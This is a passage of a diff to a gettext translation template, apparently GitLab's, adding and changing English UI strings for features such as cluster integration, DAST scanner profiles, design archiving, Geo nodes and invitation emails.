msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
